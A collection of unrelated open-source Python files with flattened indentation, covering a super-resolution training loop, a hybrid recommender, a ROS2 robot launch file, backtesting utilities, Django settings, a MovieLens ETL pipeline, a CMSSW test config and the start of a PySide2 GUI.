print("the gpu id is: {}".format(args.gpu_id))
device = torch.device('cuda:{}'.format(args.gpu_id))
torch.backends.cudnn.benchmark = True
else:
print("use cpu for training!")
device = torch.device('cpu')
torch.set_num_threads(args.threads)
div2k = DIV2K(
args.div2k_hr_path,
args.div2k_lr_path,
train=True,
augment=args.data_augment,
scale=args.scale,
colors=args.colors,
patch_size=args.patch_size,
repeat=args.data_repeat,
store_in_ram=args.store_in_ram
)
set5 = Benchmark(args.set5_hr_path, args.set5_lr_path, scale=args.scale, colors=args.colors, store_in_ram=args.store_in_ram)
set14 = Benchmark(args.set14_hr_path, args.set14_lr_path, scale=args.scale, colors=args.colors, store_in_ram=args.store_in_ram)
b100 = Benchmark(args.b100_hr_path, args.b100_lr_path, scale=args.scale, colors=args.colors, store_in_ram=args.store_in_ram)
u100 = Benchmark(args.u100_hr_path, args.u100_lr_path, scale=args.scale, colors=args.colors, store_in_ram=args.store_in_ram)
train_dataloader = DataLoader(dataset=div2k, num_workers=args.threads, batch_size=args.batch_size, shuffle=True, pin_memory=True, drop_last=True)
valid_dataloaders = []
valid_dataloaders += [{'name': 'set5', 'dataloader': DataLoader(dataset=set5, batch_size=1, shuffle=False)}]
valid_dataloaders += [{'name': 'set14', 'dataloader': DataLoader(dataset=set14, batch_size=1, shuffle=False)}]
valid_dataloaders += [{'name': 'b100', 'dataloader': DataLoader(dataset=b100, batch_size=1, shuffle=False)}]
valid_dataloaders += [{'name': 'u100', 'dataloader': DataLoader(dataset=u100, batch_size=1, shuffle=False)}]
## definitions of model, loss, and optimizer
model = ECBSR(module_nums=args.m_ecbsr, channel_nums=args.c_ecbsr, with_idt=args.idt_ecbsr, act_type=args.act_type, scale=args.scale, colors=args.colors).to(device)
loss_func = nn.L1Loss()
optimizer = torch.optim.Adam(model.parameters(), lr=args.lr)
if args.pretrain is not None:
print("load pretrained model: {}!".format(args.pretrain))
model.load_state_dict(torch.load(args.pretrain))
else:
print("train the model from scratch!")
## auto-generate the output logname
timestamp = utils.cur_timestamp_str()
experiment_name = "ecbsr-x{}-m{}c{}-{}-{}".format(args.scale, args.m_ecbsr, args.c_ecbsr, args.act_type, timestamp)
experiment_path = os.path.join(args.log_path, experiment_name)
if not os.path.exists(experiment_path):
os.makedirs(experiment_path)
experiment_model_path = os.path.join(experiment_path, 'models')
if not os.path.exists(experiment_model_path):
os.makedirs(experiment_model_path)
log_name = os.path.join(experiment_path, "log.txt")
sys.stdout = utils.ExperimentLogger(log_name, sys.stdout)
stat_dict = utils.get_stat_dict()
## save training paramters
exp_params = vars(args)
exp_params_name = os.path.join(experiment_path, 'config.yml')
with open(exp_params_name, 'w') as exp_params_file:
yaml.dump(exp_params, exp_params_file, default_flow_style=False)
timer_start = time.time()
for epoch in range(args.epochs):
epoch_loss = 0.0
stat_dict['epochs'] = epoch
model = model.train()
print("##===========Epoch: {}=============##".format(epoch))
for iter, batch in enumerate(train_dataloader):
optimizer.zero_grad()
lr, hr = batch
lr, hr = lr.to(device), hr.to(device)
sr = model(lr)
loss = loss_func(sr, hr)
loss.backward()
optimizer.step()
epoch_loss += float(loss)
if (iter + 1) % args.log_every == 0:
cur_steps = (iter+1)*args.batch_size
total_steps = len(train_dataloader.dataset)
fill_width = math.ceil(math.log10(total_steps))
cur_steps = str(cur_steps).zfill(fill_width)
epoch_width = math.ceil(math.log10(args.epochs))
cur_epoch = str(epoch).zfill(epoch_width)
avg_loss = epoch_loss / (iter + 1)
stat_dict['losses'].append(avg_loss)
timer_end = time.time()
duration = timer_end - timer_start
timer_start = timer_end
print("Epoch:{}, {}/{}, loss: {:.4f}, time: {:.3f}".format(cur_epoch, cur_steps, total_steps, avg_loss, duration))
if (epoch + 1) % args.test_every == 0:
torch.set_grad_enabled(False)
test_log = ""
model = model.eval()
for valid_dataloader in valid_dataloaders:
avg_psnr = 0.0
avg_ssim = 0.0
name = valid_dataloader['name']
loader = valid_dataloader['dataloader']
for lr, hr in tqdm(loader, ncols=80):
lr, hr = lr.to(device), hr.to(device)
sr = model(lr)
# crop
hr = hr[:, :, args.scale:-args.scale, args.scale:-args.scale]
sr = sr[:, :, args.scale:-args.scale, args.scale:-args.scale]
# quantize
hr = hr.clamp(0, 255)
sr = sr.clamp(0, 255)
# calculate psnr
psnr = utils.calc_psnr(sr, hr)
ssim = utils.calc_ssim(sr, hr)
avg_psnr += psnr
avg_ssim += ssim
avg_psnr = round(avg_psnr/len(loader), 2)
avg_ssim = round(avg_ssim/len(loader), 4)
stat_dict[name]['psnrs'].append(avg_psnr)
stat_dict[name]['ssims'].append(avg_ssim)
if stat_dict[name]['best_psnr']['value'] < avg_psnr:
stat_dict[name]['best_psnr']['value'] = avg_psnr
stat_dict[name]['best_psnr']['epoch'] = epoch
if stat_dict[name]['best_ssim']['value'] < avg_ssim:
stat_dict[name]['best_ssim']['value'] = avg_ssim
stat_dict[name]['best_ssim']['epoch'] = epoch
test_log += "[{}-X{}], PSNR/SSIM: {:.2f}/{:.4f} (Best: {:.2f}/{:.4f}, Epoch: {}/{})\n".format(
name, args.scale, float(avg_psnr), float(avg_ssim),
stat_dict[name]['best_psnr']['value'], stat_dict[name]['best_ssim']['value'],
stat_dict[name]['best_psnr']['epoch'], stat_dict[name]['best_ssim']['epoch'])
# print log & flush out
print(test_log)
sys.stdout.flush()
# save model
saved_model_path = os.path.join(experiment_model_path, 'model_x{}_{}.pt'.format(args.scale, epoch))
torch.save(model.state_dict(), saved_model_path)
torch.set_grad_enabled(True)
# save stat dict
## save training paramters
stat_dict_name = os.path.join(experiment_path, 'stat_dict.yml')
with open(stat_dict_name, 'w') as stat_dict_file:
yaml.dump(stat_dict, stat_dict_file, default_flow_style=False) | [
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] |
barbante/recommendation/RecommenderHRRandom.py | hypermindr/barbante | 10 | 160946 | """ Hybrid Recommender HRRandom.
"""
import random
from barbante.recommendation.HybridRecommender import HybridRecommender
import barbante.utils.logging as barbante_logging
log = barbante_logging.get_logger(__name__)
class RecommenderHRRandom(HybridRecommender):
""" Hybrid Recommender HRRandom.
It merges different algorithms randomly, respecting the probability assigned to each algorithm
and the relative orders of the recommendations produces by each strategy.
"""
def __init__(self, session_context):
super().__init__(session_context)
def get_suffix(self):
""" See barbante.recommendation.Recommender.
"""
return "HRRandom"
def obtain_cdf(self, recommendations_by_algorithm, item_idx_by_algorithm):
""" Computes the cumulative distribution function associated to the algorithms
that are used by this recommender.
:param recommendations_by_algorithm: The set of algorithms to be sampled.
:param item_idx_by_algorithm: Points to the next item to be consumed from the list of contributions
of a given algorithm. When such index is equal to the size of the list, that algorithm has
nothing left to contribute.
:returns: A list with (Sum(p_i), alg) pairs, where Sum(p_i) is the cumulative
probability for algorithm *alg*.
"""
cdf = []
cumulative_prob = 0
for algorithm, prob in self.session_context.algorithm_weights[self.get_suffix()]:
if item_idx_by_algorithm[algorithm] < len(recommendations_by_algorithm.get(algorithm, {})):
cumulative_prob += prob
cdf += [(algorithm, cumulative_prob)]
# normalizes
cdf = [(cdf_item[0], cdf_item[1] / cumulative_prob) for cdf_item in cdf]
return cdf
@staticmethod
def choose_algorithm(cdf):
result = None
rand = random.random()
for algorithm, cumulative_prob in cdf:
if rand < cumulative_prob:
result = algorithm
break
return result
def merge_algorithm_contributions(self, sorted_scores_by_algorithm, n_recommendations):
""" See barbante.recommend.HybridRecommender.
"""
log.debug("Merging contributions...")
recommendations = []
recommendations_set = set() # avoids duplicates among different algorithms
contributions_by_algorithm = {alg: 0 for alg in self.algorithms} # for logging
item_idx_by_algorithm = {alg: 0 for alg in self.algorithms} # to keep track of traversal position
# Selects recommendations randomly, based on the probability distribution given by the algorithm weights.
cdf = self.obtain_cdf(sorted_scores_by_algorithm, item_idx_by_algorithm)
n_items_left_to_fill = n_recommendations - len(recommendations)
while n_items_left_to_fill > 0:
algorithm = self.choose_algorithm(cdf)
if algorithm is None:
break # all algorithm contributions have been exhausted
sorted_candidate_scores = sorted_scores_by_algorithm.get(algorithm)
if sorted_candidate_scores is None:
continue
while item_idx_by_algorithm[algorithm] < len(sorted_candidate_scores):
score, candidate = sorted_candidate_scores[item_idx_by_algorithm[algorithm]]
item_idx_by_algorithm[algorithm] += 1
if candidate not in recommendations_set:
recommendations_set.add(candidate)
contributions_by_algorithm[algorithm] += 1
# prepends the identification of the source algorithm in the score tuple
recommendations += [([algorithm] + score, candidate)]
break
updated_n_items_left_to_fill = n_recommendations - len(recommendations)
if updated_n_items_left_to_fill == n_items_left_to_fill:
# chosen algorithm has no more contributions to give -- let's update the cdf
cdf = self.obtain_cdf(sorted_scores_by_algorithm, item_idx_by_algorithm)
n_items_left_to_fill = updated_n_items_left_to_fill
for alg in self.algorithms:
log.info("Algorithm [%s] contributed [%d] items" % (alg, contributions_by_algorithm[alg]))
return recommendations
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irobot_create_common/irobot_create_common_bringup/launch/create3_nodes.launch.py | ahcorde/create3_sim | 0 | 78918 | #!/usr/bin/env python3
# Copyright 2021 iRobot Corporation. All Rights Reserved.
# @author <NAME> (<EMAIL>)
#
# Launch Create(R) 3 nodes
from ament_index_python.packages import get_package_share_directory
from launch import LaunchDescription
from launch.actions import DeclareLaunchArgument, IncludeLaunchDescription
from launch.conditions import LaunchConfigurationEquals
from launch.launch_description_sources import PythonLaunchDescriptionSource
from launch.substitutions import LaunchConfiguration, PathJoinSubstitution
from launch_ros.actions import Node
ARGUMENTS = [
DeclareLaunchArgument('gazebo', default_value='classic',
choices=['classic', 'ignition'],
description='Which gazebo simulator to use')
]
def generate_launch_description():
# Directories
pkg_create3_common_bringup = get_package_share_directory('irobot_create_common_bringup')
pkg_create3_control = get_package_share_directory('irobot_create_control')
# Paths
control_launch_file = PathJoinSubstitution(
[pkg_create3_control, 'launch', 'include', 'control.py'])
hazards_params_yaml_file = PathJoinSubstitution(
[pkg_create3_common_bringup, 'config', 'hazard_vector_params.yaml'])
ir_intensity_params_yaml_file = PathJoinSubstitution(
[pkg_create3_common_bringup, 'config', 'ir_intensity_vector_params.yaml'])
wheel_status_params_yaml_file = PathJoinSubstitution(
[pkg_create3_common_bringup, 'config', 'wheel_status_params.yaml'])
mock_params_yaml_file = PathJoinSubstitution(
[pkg_create3_common_bringup, 'config', 'mock_params.yaml'])
robot_state_yaml_file = PathJoinSubstitution(
[pkg_create3_common_bringup, 'config', 'robot_state_params.yaml'])
kidnap_estimator_yaml_file = PathJoinSubstitution(
[pkg_create3_common_bringup, 'config', 'kidnap_estimator_params.yaml'])
# Includes
diffdrive_controller = IncludeLaunchDescription(
PythonLaunchDescriptionSource([control_launch_file]),
condition=LaunchConfigurationEquals('gazebo', 'classic')
)
# Publish hazards vector
hazards_vector_node = Node(
package='irobot_create_toolbox',
name='hazards_vector_node',
executable='hazards_vector_publisher_node',
parameters=[hazards_params_yaml_file,
{'use_sim_time': True}],
output='screen',
)
# Publish IR intensity vector
ir_intensity_vector_node = Node(
package='irobot_create_toolbox',
name='ir_intensity_vector_node',
executable='ir_intensity_vector_publisher_node',
parameters=[ir_intensity_params_yaml_file,
{'use_sim_time': True}],
output='screen',
)
# Motion Control
motion_control_node = Node(
package='irobot_create_toolbox',
name='motion_control',
executable='motion_control',
parameters=[{'use_sim_time': True}],
output='screen',
)
# Publish wheel status
wheel_status_node = Node(
package='irobot_create_toolbox',
name='wheel_status_publisher_node',
executable='wheel_status_publisher_node',
parameters=[wheel_status_params_yaml_file,
{'use_sim_time': True}],
output='screen',
)
# Publish mock topics
mock_topics_node = Node(
package='irobot_create_toolbox',
name='mock_publisher_node',
executable='mock_publisher_node',
parameters=[mock_params_yaml_file,
{'use_sim_time': True},
{'gazebo': LaunchConfiguration('gazebo')}],
output='screen',
)
# Publish robot state
robot_state_node = Node(
package='irobot_create_toolbox',
name='robot_state',
executable='robot_state_node',
parameters=[robot_state_yaml_file,
{'use_sim_time': True}],
output='screen',
)
# Publish kidnap estimator
kidnap_estimator_node = Node(
package='irobot_create_toolbox',
name='kidnap_estimator',
executable='kidnap_estimator_publisher_node',
parameters=[kidnap_estimator_yaml_file,
{'use_sim_time': True}],
output='screen',
)
# Define LaunchDescription variable
ld = LaunchDescription(ARGUMENTS)
# Include robot description
ld.add_action(diffdrive_controller)
# Add nodes to LaunchDescription
ld.add_action(hazards_vector_node)
ld.add_action(ir_intensity_vector_node)
ld.add_action(motion_control_node)
ld.add_action(wheel_status_node)
ld.add_action(mock_topics_node)
ld.add_action(robot_state_node)
ld.add_action(kidnap_estimator_node)
return ld
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utils.py | neilsmurphy/backtrader_template | 75 | 190573 | ###############################################################################
#
# Software program written by <NAME> in year 2021.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
#
# By using this software, the Disclaimer and Terms distributed with the
# software are deemed accepted, without limitation, by user.
#
# You should have received a copy of the Disclaimer and Terms document
# along with this program. If not, see... https://bit.ly/2Tlr9ii
#
###############################################################################
from datetime import datetime
import itertools
import math
from pathlib import Path
import sqlite3
def time_str_to_datetime(time):
return datetime.strptime(time, "%H:%M").time()
def round_down(x):
return math.trunc(x * 4) / 4
def round_up(x):
return math.ceil(x * 4) / 4
def time_tuple(d):
keys, values = zip(*d.items())
return [tuple(dict(zip(keys, v)).items()) for v in itertools.product(*values)]
def create_db_connection():
"""
Opens a database connection.
"""
Path("data").mkdir(parents=True, exist_ok=True)
dir = Path("data")
filename = "results.db"
filepath = dir / filename
return sqlite3.connect(filepath)
def yes_or_no(question):
""" Simple yes no choice function. """
reply = str(input(f"{question} (y/n): ")).lower().strip()
if reply[0] == "y":
return True
if reply[0] == "n":
return False
else:
return yes_or_no("Please enter y/n")
def clear_database():
try:
remove_db = Path('data/results.db')
remove_db.unlink()
except:
pass
def df_to_db(agg_dict):
""" Saves results dataframes to the sqlite3 database"""
engine = create_db_connection()
for table_name, df in agg_dict.items():
try:
# Remove whitespace before going to sql.
df.columns = [name.replace(" ", "_") for name in df.columns]
df.to_sql(
table_name, con=engine, if_exists="append", index=False
)
except Exception as e:
print(f"{e} {table_name} failed.")
engine.close()
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sensorgridapi/core/settings/common.py | Verdinjoshua26/SensorGridAPI | 8 | 170161 | """
Django settings for sensorgridapi project.
Generated by 'django-admin startproject' using Django 1.11.9.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.11/ref/settings/
"""
import os
from os import environ as env
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
ALLOWED_HOSTS = env.get('APPLICATION_DOMAINS', '').split() + ['localhost', '127.0.0.1']
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'rest_framework',
'sensordata',
# 'requeststest.apps.RequeststestConfig'
# 'sensordata.apps.SensorDataConfig'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'core.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'core.wsgi.application'
# Password validation
# https://docs.djangoproject.com/en/1.11/ref/settings/#auth-password-validators
# commenting out for local development
# AUTH_PASSWORD_VALIDATORS = [
# {
# 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
# },
# {
# 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
# },
# {
# 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
# },
# {
# 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
# },
# ]
# Internationalization
# https://docs.djangoproject.com/en/1.11/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.11/howto/static-files/
STATIC_URL = '/static/'
# Database
# https://docs.djangoproject.com/en/1.11/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': env['DB_ENGINE__DEFAULT'],
'NAME': env['DB_NAME__DEFAULT'],
'USER': env['DB_USER__DEFAULT'],
'PASSWORD': env['DB_PASSWORD__DEFAULT'],
'HOST': env['DB_HOST__DEFAULT'],
'PORT': env['DB_PORT__DEFAULT']
}
}
# to be removed later -- sets up default permissions
REST_FRAMEWORK = {
# Use Django's standard `django.contrib.auth` permissions,
# or allow read-only access for unauthenticated users.
#'DEFAULT_FILTER_BACKENDS': ('django_filters.rest_framework.DjangoFilterBackend',),
'DEFAULT_PERMISSION_CLASSES': [
# 'rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly'
],
'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination',
}
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] |
merlin/models/data/movielens.py | rhdong/models | 0 | 54567 | import logging
import os
import shutil
from os import path
import numpy as np
import nvtabular as nvt
import pandas as pd
from nvtabular import ops
import merlin.io
# Get dataframe library - cudf or pandas
from merlin.core.dispatch import get_lib
from merlin.core.utils import download_file
df_lib = get_lib()
logging.basicConfig()
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
def get_movielens(path=None, variant="ml-25m"):
"""Gets the movielens dataset for use with merlin-models
This function will return a tuple of train/test merlin.io.Dataset objects for the
movielens dataset. This will download the movielens dataset locally if needed,
and run a ETL pipeline with NVTabular to make this dataset ready for use with
merlin-models.
Parameters
----------
path : str
The path to download the files locally to. If not set will default to
the 'merlin-models-data` directory in your home folder
variant : "ml-25m" or "ml-100k"
Which variant of the movielens dataset to use. Must be either "ml-25m" or "ml-100k"
Returns
-------
tuple
A tuple consisting of a merlin.io.Dataset for the training dataset and validation dataset
"""
if path is None:
path = os.environ.get(
"INPUT_DATA_DIR", os.path.expanduser("~/merlin-models-data/movielens/")
)
variant_path = os.path.join(path, variant)
if not os.path.exists(variant_path):
os.makedirs(variant_path)
movielens_download_etl(path, variant)
train = merlin.io.Dataset(os.path.join(variant_path, "train"), engine="parquet")
valid = merlin.io.Dataset(os.path.join(variant_path, "valid"), engine="parquet")
return train, valid
def movielens_download_etl(local_filename, name="ml-25m", outputdir=None):
"""This funct does the preliminary preprocessing on movielens dataset
and converts the csv files to parquet files and saves to disk. Then,
using NVTabular, it does feature engineering on the parquet files
and saves the processed files to disk.
Parameters
----------
local_filename : str
path for downloading the raw dataset in and storing the converted
parquet files.
name : str
The name of the Movielens dataset. Currently Movielens 25M and
Movielens 100k datasets are supported.
outputdir : str, optional
path for saving the processed parquet files generated from NVTabular
workflow. If not provided, local_filename is used as outputdir.
"""
local_filename = os.path.abspath(local_filename)
if outputdir is None:
outputdir = local_filename
if name == "ml-25m":
download_file(
"http://files.grouplens.org/datasets/movielens/ml-25m.zip",
os.path.join(local_filename, "ml-25m.zip"),
)
movies = df_lib.read_csv(os.path.join(local_filename, name, "movies.csv"))
movies["genres"] = movies["genres"].str.split("|")
movies.to_parquet(os.path.join(local_filename, name, "movies_converted.parquet"))
ratings = df_lib.read_csv(os.path.join(local_filename, name, "ratings.csv"))
# shuffle the dataset
ratings = ratings.sample(len(ratings), replace=False)
# split the train_df as training and validation data sets.
num_valid = int(len(ratings) * 0.2)
train = ratings[:-num_valid]
valid = ratings[-num_valid:]
train.to_parquet(os.path.join(local_filename, name, "train.parquet"))
valid.to_parquet(os.path.join(local_filename, name, "valid.parquet"))
logger.info("starting ETL..")
# NVTabular pipeline
movies = df_lib.read_parquet(os.path.join(local_filename, name, "movies_converted.parquet"))
joined = ["userId", "movieId"] >> ops.JoinExternal(movies, on=["movieId"])
cat_features = joined >> ops.Categorify(dtype="int32")
label = nvt.ColumnSelector(["rating"])
# Columns to apply to
cats = nvt.ColumnSelector(["movieId"])
# Target Encode movieId column
te_features = cats >> ops.TargetEncoding(label, kfold=5, p_smooth=20)
te_features_norm = te_features >> ops.NormalizeMinMax()
# count encode `userId`
count_logop_feat = (
["userId"] >> ops.JoinGroupby(cont_cols=["movieId"], stats=["count"]) >> ops.LogOp()
)
feats_item = cat_features["movieId"] >> ops.AddMetadata(tags=["item_id", "item"])
feats_user = cat_features["userId"] >> ops.AddMetadata(tags=["user_id", "user"])
feats_genres = cat_features["genres"] >> ops.AddMetadata(tags=["item"])
feats_target = (
nvt.ColumnSelector(["rating"])
>> ops.LambdaOp(lambda col: (col > 3).astype("int32"))
>> ops.AddMetadata(tags=["binary_classification", "target"])
>> nvt.ops.Rename(name="rating_binary")
)
target_orig = (
["rating"]
>> ops.LambdaOp(lambda col: col.astype("float32"))
>> ops.AddMetadata(tags=["regression", "target"])
)
workflow = nvt.Workflow(
feats_item
+ feats_user
+ feats_genres
+ te_features_norm
+ count_logop_feat
+ target_orig
+ feats_target
+ joined["title"]
)
elif name == "ml-100k":
download_file(
"http://files.grouplens.org/datasets/movielens/ml-100k.zip",
os.path.join(local_filename, "ml-100k.zip"),
)
logger.info("starting ETL..")
ratings = pd.read_csv(
os.path.join(local_filename, "ml-100k/u.data"),
names=["userId", "movieId", "rating", "timestamp"],
sep="\t",
)
user_features = pd.read_csv(
os.path.join(local_filename, "ml-100k/u.user"),
names=["userId", "age", "gender", "occupation", "zip_code"],
sep="|",
)
user_features.to_parquet(os.path.join(local_filename, "ml-100k/user_features.parquet"))
cols = [
"movieId",
"title",
"release_date",
"video_release_date",
"imdb_URL",
"unknown",
"Action",
"Adventure",
"Animation",
"Childrens",
"Comedy",
"Crime",
"Documentary",
"Drama",
"Fantasy",
"Film_Noir",
"Horror",
"Musical",
"Mystery",
"Romance",
"Sci-Fi",
"Thriller",
"War",
"Western",
]
genres_ = [
"unknown",
"Action",
"Adventure",
"Animation",
"Childrens",
"Comedy",
"Crime",
"Documentary",
"Drama",
"Fantasy",
"Film_Noir",
"Horror",
"Musical",
"Mystery",
"Romance",
"Sci-Fi",
"Thriller",
"War",
"Western",
]
movies = pd.read_csv(
os.path.join(local_filename, "ml-100k/u.item"), names=cols, sep="|", encoding="latin1"
)
for col in genres_:
movies[col] = movies[col].replace(1, col)
movies[col] = movies[col].replace(0, np.nan)
s = movies[genres_]
s.notnull()
movies["genres"] = s.notnull().dot(s.columns + ",").str[:-1]
movies_converted = movies[
["movieId", "title", "release_date", "video_release_date", "genres", "imdb_URL"]
]
movies_converted.to_parquet(
os.path.join(local_filename, "ml-100k/movies_converted.parquet")
)
train = pd.read_csv(
os.path.join(local_filename, "ml-100k/ua.base"),
names=["userId", "movieId", "rating", "timestamp"],
sep="\t",
)
valid = pd.read_csv(
os.path.join(local_filename, "ml-100k/ua.test"),
names=["userId", "movieId", "rating", "timestamp"],
sep="\t",
)
train = train.merge(user_features, on="userId", how="left")
train = train.merge(movies_converted, on="movieId", how="left")
valid = valid.merge(user_features, on="userId", how="left")
valid = valid.merge(movies_converted, on="movieId", how="left")
train.to_parquet(os.path.join(local_filename, "ml-100k/train.parquet"))
valid.to_parquet(os.path.join(local_filename, "ml-100k/valid.parquet"))
cat_features = [
"userId",
"movieId",
"gender",
"occupation",
"zip_code",
"genres",
] >> nvt.ops.Categorify(dtype="int32")
cont_names = ["age"]
boundaries = {"age": [0, 10, 20, 30, 40, 50, 60, 70, 80, 90]}
age_bucket = cont_names >> ops.Bucketize(boundaries) >> ops.AddMetadata(tags=["user"])
label = nvt.ColumnSelector(["rating"])
# Target Encode movieId column
te_features = ["movieId"] >> ops.TargetEncoding(label, kfold=5, p_smooth=20)
te_features_norm = te_features >> ops.NormalizeMinMax()
# count encode `userId`
count_logop_feat = (
["userId"] >> ops.JoinGroupby(cont_cols=["movieId"], stats=["count"]) >> ops.LogOp()
)
feats_item = cat_features["movieId"] >> ops.AddMetadata(tags=["item_id", "item"])
feats_user = cat_features["userId"] >> ops.AddMetadata(tags=["user_id", "user"])
feats_genres = cat_features["genres"] >> ops.AddMetadata(tags=["item"])
user_features = cat_features["gender", "zip_code"] >> ops.AddMetadata(tags=["user"])
feats_target = (
nvt.ColumnSelector(["rating"])
>> ops.LambdaOp(lambda col: (col > 3).astype("int32"))
>> ops.AddMetadata(tags=["binary_classification", "target"])
>> nvt.ops.Rename(name="rating_binary")
)
target_orig = ["rating"] >> ops.AddMetadata(tags=["regression", "target"])
workflow = nvt.Workflow(
feats_item
+ feats_user
+ feats_genres
+ te_features_norm
+ count_logop_feat
+ user_features
+ target_orig
+ feats_target
+ age_bucket
+ ["title"]
)
else:
raise ValueError(
"Unknown dataset name. Only Movielens 25M and 100k datasets are supported."
)
train_dataset = nvt.Dataset([os.path.join(local_filename, name, "train.parquet")])
valid_dataset = nvt.Dataset([os.path.join(local_filename, name, "valid.parquet")])
if path.exists(os.path.join(local_filename, name, "train")):
shutil.rmtree(os.path.join(local_filename, name, "train"))
if path.exists(os.path.join(local_filename, name, "valid")):
shutil.rmtree(os.path.join(local_filename, name, "valid"))
workflow.fit(train_dataset)
workflow.transform(train_dataset).to_parquet(
output_path=os.path.join(outputdir, name, "train"),
out_files_per_proc=1,
shuffle=False,
)
workflow.transform(valid_dataset).to_parquet(
output_path=os.path.join(outputdir, name, "valid"),
out_files_per_proc=1,
shuffle=False,
)
# Save the workflow
workflow.save(os.path.join(outputdir, name, "workflow"))
logger.info("saving the workflow..")
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] |
CondCore/ESSources/test/python/write_beamspot_cfg.py | PKUfudawei/cmssw | 1 | 173974 | <filename>CondCore/ESSources/test/python/write_beamspot_cfg.py
from __future__ import print_function
import time
import FWCore.ParameterSet.Config as cms
import FWCore.ParameterSet.VarParsing as VarParsing
from Configuration.AlCa.autoCond import autoCond
options = VarParsing.VarParsing()
options.register('connectionString',
'sqlite_file:cms_conditions.db', #default value
VarParsing.VarParsing.multiplicity.singleton,
VarParsing.VarParsing.varType.string,
"CondDB Connection string")
options.register('tag',
'BeamSpot_test_updateByLumi_00',
VarParsing.VarParsing.multiplicity.singleton,
VarParsing.VarParsing.varType.string,
"tag for record BeamSpotObjectsRcd")
options.register('runNumber',
250000, #default value, int limit -3
VarParsing.VarParsing.multiplicity.singleton,
VarParsing.VarParsing.varType.int,
"Run number; default gives latest IOV")
options.register('messageLevel',
0, #default value
VarParsing.VarParsing.multiplicity.singleton,
VarParsing.VarParsing.varType.int,
"Message level; default to 0")
options.parseArguments()
process = cms.Process("TEST")
process.MessageLogger = cms.Service("MessageLogger",
cout = cms.untracked.PSet(threshold = cms.untracked.string('INFO')),
destinations = cms.untracked.vstring('cout')
)
CondDBParameters = cms.PSet(
messageLevel = cms.untracked.int32( 3 ),
)
process.source = cms.Source( "EmptySource",
firstRun = cms.untracked.uint32( 1 ),
firstLuminosityBlock = cms.untracked.uint32( 1 ),
numberEventsInRun = cms.untracked.uint32( 1 ),
numberEventsInLuminosityBlock = cms.untracked.uint32( 1 )
)
process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(1))
process.prod = cms.EDAnalyzer("LumiTestWriteAnalyzer",
connectionString = cms.untracked.string(options.connectionString ),
tagName = cms.untracked.string(options.tag),
runNumber = cms.untracked.uint32(options.runNumber),
numberOfLumis = cms.untracked.uint32(24),
iovSize = cms.untracked.uint32(4)
)
process.p = cms.Path( process.prod )
for name, module in process.es_sources_().items():
print("ESModules> provider:%s '%s'" % ( name, module.type_() ))
for name, module in process.es_producers_().items():
print("ESModules> provider:%s '%s'" % ( name, module.type_() ))
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] |
main.py | leehsong/FabricNewGUI | 1 | 71900 | ################################################################################
##
## BY: <NAME>
## PROJECT MADE WITH: Qt Designer and PySide2
## V: 1.0.0
##
## This project can be used freely for all uses, as long as they maintain the
## respective credits only in the Python scripts, any information in the visual
## interface (GUI) can be modified without any implication.
##
## There are limitations on Qt licenses if you want to use your products
## commercially, I recommend reading them on the official website:
## https://doc.qt.io/qtforpython/licenses.html
##
################################################################################
import sys, os
import platform
from PySide2 import QtCore, QtGui, QtWidgets
from PySide2.QtCore import (Signal, QCoreApplication, QPropertyAnimation, QDate, QDateTime, QMetaObject, QObject, QPoint, QRect, QSize, QTime, QUrl, Qt, QEvent)
from PySide2.QtGui import (QBrush, QColor, QConicalGradient, QCursor, QFont, QFontDatabase, QIcon, QKeySequence, QLinearGradient, QPalette, QPainter, QPixmap, QRadialGradient)
from PySide2.QtWidgets import *
import subprocess
from watchdog.observers import Observer
from watchdog.events import LoggingEventHandler
import logging
import time
from PIL import Image, ImageDraw, ImageFont
# GUI FILE
from app_modules import *
file_list = []
file_sender = []
DIR = ''
updated_files = {'1_1':'1_FileName0.tif'}
class Event(LoggingEventHandler):
def on_modified(self, event):
filename = event.src_path[12:]
keyname = event.src_path[10] +"_"+event.src_path[12]
# print(keyname)
updated_files[keyname]=filename
# print(f'event type: {event.event_type} path : {event.src_path[10:]}')
class MainWindow(QMainWindow):
def __init__(self):
QMainWindow.__init__(self)
self.ui = Ui_MainWindow()
self.ui.setupUi(self)
## PRINT ==> SYSTEM
print('System: ' + platform.system())
print('Version: ' + platform.release())
########################################################################
## START - WINDOW ATTRIBUTES
########################################################################
## REMOVE ==> STANDARD TITLE BAR
UIFunctions.removeTitleBar(True)
## ==> END ##
## SET ==> WINDOW TITLE
self.setWindowTitle('Bushin AI')
UIFunctions.labelTitle(self, 'Bushin AI')
UIFunctions.labelDescription(self, 'Get the raw data.')
